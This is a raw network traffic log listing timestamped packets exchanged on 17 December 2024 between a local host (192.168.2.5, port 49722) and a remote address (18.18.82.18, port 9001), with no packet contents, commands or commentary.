Dec 17, 2024 11:49:29.556786060 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.557739019 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.557791948 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.557816982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.557864904 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.558780909 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.558830023 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.559012890 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.559067965 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.559829950 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.559884071 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.559937954 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.559983969 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.560889959 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.560940981 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.560996056 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.561043024 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.561666965 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.562002897 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.562053919 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.562089920 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.562136889 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.563086033 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.563169956 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.563216925 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.563265085 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.564071894 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.564127922 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.564203978 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.564249039 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.565133095 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.565191984 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.565231085 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.565366030 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.566267014 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.566322088 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.566330910 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.566370010 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.567467928 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.567518950 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.567523956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.567565918 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.568691015 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.568737030 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.568816900 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.568865061 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.569585085 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.569638968 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.569667101 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.569720984 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.571358919 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.571419954 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.571458101 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.571501970 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.572248936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.572328091 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.572375059 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.572567940 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.573239088 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.573299885 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.573343992 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.574136019 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.574229956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.574243069 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.574269056 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.575141907 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.575193882 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.575243950 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.575964928 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.575992107 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.576040983 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.576879978 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.576932907 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.576937914 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.577016115 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.577867031 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.577950001 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.577965975 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.578135967 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.578918934 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.578959942 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.579125881 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.579174042 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.579956055 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.579996109 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.599499941 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.599608898 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.599611998 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.599662066 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.600028038 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.600081921 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.600120068 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.600167036 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.601084948 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.601171017 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.601197958 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.601233006 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.602147102 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.681623936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.686204910 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.720881939 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.720968008 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.720968008 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.721060991 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.721149921 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.721174955 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.722290039 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.722309113 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.722362041 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.723203897 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.723253965 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.723417044 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.724129915 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.724500895 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.724555016 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.725168943 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.725280046 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.725405931 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.727289915 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.727617025 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.728281975 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.728305101 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.728324890 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.728360891 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.728955984 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.728974104 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.728996992 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.729526043 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.729568958 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.729641914 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.731219053 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.731259108 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.731518030 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.731547117 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.731590986 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.732450008 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.732466936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.732501030 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.732525110 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.732970953 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.732986927 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.733700991 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.733712912 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.733782053 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.733889103 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.733932018 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.735217094 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.735234022 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.735261917 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.735279083 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.736135006 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.736319065 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.736366987 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.737095118 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.737138033 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.737159014 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.737196922 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.738557100 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.738574982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.738622904 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.738969088 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.739048958 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.739689112 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.740106106 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.740155935 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.740274906 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.740312099 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.741173029 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.741214037 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.741252899 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.741300106 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.742331982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.742347956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.742383957 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.742404938 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.743871927 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.743890047 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.743916035 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.743932962 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.744699955 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.744715929 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.744760990 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.745332003 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.745381117 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.745431900 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.745544910 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.747107029 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.747124910 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.747148991 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.747169971 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.748483896 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.748501062 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.748532057 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.748555899 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.748616934 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.748739004 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.748785019 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.749641895 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.749710083 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.749891043 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.749995947 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.751389027 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.751404047 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.751446962 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.752446890 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.752464056 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.752507925 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.752775908 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.752947092 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.752999067 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.753036976 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.753829002 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.753863096 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.754983902 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.755029917 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.755479097 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.755496979 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.755517960 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.755536079 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.756416082 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.756432056 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.756475925 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.756493092 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.756977081 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.757020950 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.757108927 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.757163048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.759068966 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.759084940 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.759109974 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.759126902 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.759294987 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.759310961 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.759340048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.759357929 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.760597944 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.760665894 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.760710001 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.760925055 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.762106895 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.762156010 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.762190104 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.762231112 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.763482094 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.763498068 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.763529062 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.763554096 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.763756037 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.763775110 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.763794899 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.763812065 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.765126944 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.765142918 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.765182972 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.765221119 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.765525103 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.765605927 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.765657902 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.767451048 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.767471075 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.767489910 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.767546892 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.767684937 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.767730951 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.767739058 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.852905989 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.852973938 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.855341911 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.855405092 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.855420113 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.855422020 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.855447054 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.855453968 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.855480909 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.855509996 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.856185913 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.856245041 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.856281996 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.856518984 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.857425928 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.857546091 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.857734919 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.857808113 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.858886957 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.859003067 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.859085083 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.859163046 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.859630108 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.859646082 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.859683990 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.859720945 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.860430956 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.860518932 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.860568047 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.860621929 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.861805916 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.861820936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.861857891 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.861892939 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.862839937 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.862855911 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.862893105 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.862926960 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.863969088 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.864032030 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.864129066 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.864268064 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.880155087 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.912528992 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.912548065 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.912592888 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.912668943 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.913055897 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.913074970 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.913144112 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.914438963 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.914455891 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.914491892 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.914525032 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.914994001 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.915044069 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.915134907 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.915201902 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.917282104 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.917298079 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.917329073 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.917363882 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.917828083 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.917846918 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.917881012 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.917912960 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.920563936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.920581102 CET	9001	49722	18.18.82.18	192.168.2.5
